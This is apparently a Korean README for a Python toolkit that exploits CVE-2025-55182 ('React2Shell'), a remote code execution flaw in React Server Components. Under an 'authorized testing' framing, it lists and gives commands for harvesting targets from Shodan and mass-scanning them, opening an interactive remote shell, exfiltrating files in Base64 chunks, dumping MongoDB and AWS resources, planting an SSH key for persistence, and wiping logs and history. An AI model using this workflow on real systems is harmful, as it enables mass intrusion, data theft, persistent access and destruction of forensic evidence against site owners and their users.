
React2Shell로도 알려진 CVE-2025-55182용 툴킷
권한이 부여된 환경에서 CVE-2025-55182로도 알려진 React2Shell을 검증하고 조사하기 위한 Python 툴킷입니다. 이 취약점은 React Server Components에 영향을 미치며 Next.js와 같은 프레임워크로 구축된 애플리케이션을 인증되지 않은 원격 코드 실행에 노출시킬 수 있습니다. 이 툴킷은 대상 수집, 대량 검증, 대화형 테스트 셸, 호스트 열거, 선택적 검증 후 유틸리티를 결합합니다.
hosts_scanner.py는 대량 감지 중에 고정된 echo VULN_TEST 마커만 실행합니다.이 저장소는 평가 보조 도구이며, 공식 권고문을 확인하고 공급업체 패치를 적용하는 것을 대체하지 않습니다.
| 도구 | 목적 | 출력 또는 효과 |
|---|---|---|
shodan_parser.py | 쿼리 목록에서 인증된 Shodan 검색을 열고 정규화된 HTTP(S) 오리진을 수집합니다. | 고유 호스트를 files/targets.txt에 추가합니다. |
hosts_scanner.py | 대상 목록을 고정된 VULN_TEST 명령으로 동시에 확인합니다. | 확인된 대상을 files/vulnerable.txt에, 실패한 대상을 files/trash.txt에 기록합니다. |
exploit.py | 하나의 대상을 다시 검증하고 대화형 명령 세션을 제공합니다. | 원격 명령 출력을 터미널에 출력합니다. |
universal_scanner.py | 시스템, 컨테이너, 네트워크, 파일시스템, 프로세스, 자격 증명 노출, 권한 위험 정보를 수집합니다. | 상세 결과를 scan_results.json에 저장합니다. |
infrastructure/universal_download.py | 명령 채널을 통해 원격 파일을 재개 가능한 Base64 청크로 전송합니다. | 로컬 파일을 생성하거나 재개하고 크기를 확인합니다. |
infrastructure/mongo_proxy.py | 검증된 호스트를 MongoDB 인벤토리 및 제한적 샘플링을 위한 네트워크 경로로 사용합니다. | 데이터베이스, 컬렉션, 개수, 작은 샘플을 나열합니다. |
infrastructure/mongo_dump.py | MongoDB 데이터베이스 하나 또는 모든 비시스템 데이터베이스를 컬렉션별 제한과 함께 내보냅니다. | 평가 대상 호스트의 /tmp 아래에 JSON 파일을 생성합니다. |
infrastructure/aws_dump.py | ECS 작업 역할에서 사용 가능한 AWS 리소스를 인벤토리화합니다. | /tmp 아래에 JSON 파일을 생성하며, 민감한 값이 포함될 수 있습니다. |
infrastructure/install_ssh_key.py | 현재 원격 사용자의 authorized_keys에 공개 키를 추가합니다. | 원격 SSH 구성을 수정하고 지속성을 확보합니다. |
infrastructure/trace_cleaner.py | 툴킷 아티팩트를 제거하고 기록, 캐시, 로그를 지우려 시도합니다. | 원격 파일을 파괴적으로 수정합니다. 승인된 정리 작업 중에만 사용하십시오. |
RCE 의존 도구는 공통 셸 유틸리티가 있는 Linux 계열 대상을 기대합니다. 일부 인프라 헬퍼는 평가 대상 호스트에 Node.js와 관련 npm 패키지가 이미 설치되어 있어야 합니다.
shodan_parser.py용 Playwright를 통해 설치된 Chromiumpython -m venv .venv
환경 활성화:
# Linux or macOS
source .venv/bin/activate
# Windows PowerShell
.\.venv\Scripts\Activate.ps1
의존성 설치:
python -m pip install -r requirements.txt
python -m playwright install chromium
Shodan 수집을 위해 .env.example을 .env로 복사하고 LOGIN과 PASSWORD를 설정하십시오. .env는 절대 커밋하지 마십시오.
files/queries.txt에 각 줄에 Shodan 쿼리 하나를 넣거나, 권한이 부여된 대상을 files/targets.txt에 직접 배치하십시오.python shodan_parser.py로 대상을 수집하십시오.python hosts_scanner.py --file files/targets.txt --concurrency 50 --timeout 30
files/vulnerable.txt를 검토하고 명령 실행 또는 인프라 유틸리티를 실행하기 전에 소유권과 범위를 수동으로 확인하십시오.스캐너 건너뛰기 목록을 초기화하려면:
python hosts_scanner.py --file files/targets.txt --clear-trash
python exploit.py https://target.example
python universal_scanner.py https://target.example
인프라 유틸리티:
python infrastructure/universal_download.py <TARGET> <REMOTE_PATH> [LOCAL_FILE] [CHUNK_SIZE]
python infrastructure/mongo_proxy.py <TARGET> <MONGODB_URI>
python infrastructure/mongo_dump.py <TARGET> <MONGODB_URI> <DATABASE|ALL> [OUTPUT_FILE] [LIMIT]
python infrastructure/aws_dump.py <TARGET> [OUTPUT_FILE]
python infrastructure/install_ssh_key.py <TARGET> [PUBLIC_KEY_PATH]
python infrastructure/trace_cleaner.py <TARGET>
각 스크립트를 인수 없이 실행하면 전체 명령줄 도움말을 볼 수 있습니다.
bash, base64, dd, timeout과 같은 도구가 있다고 가정합니다.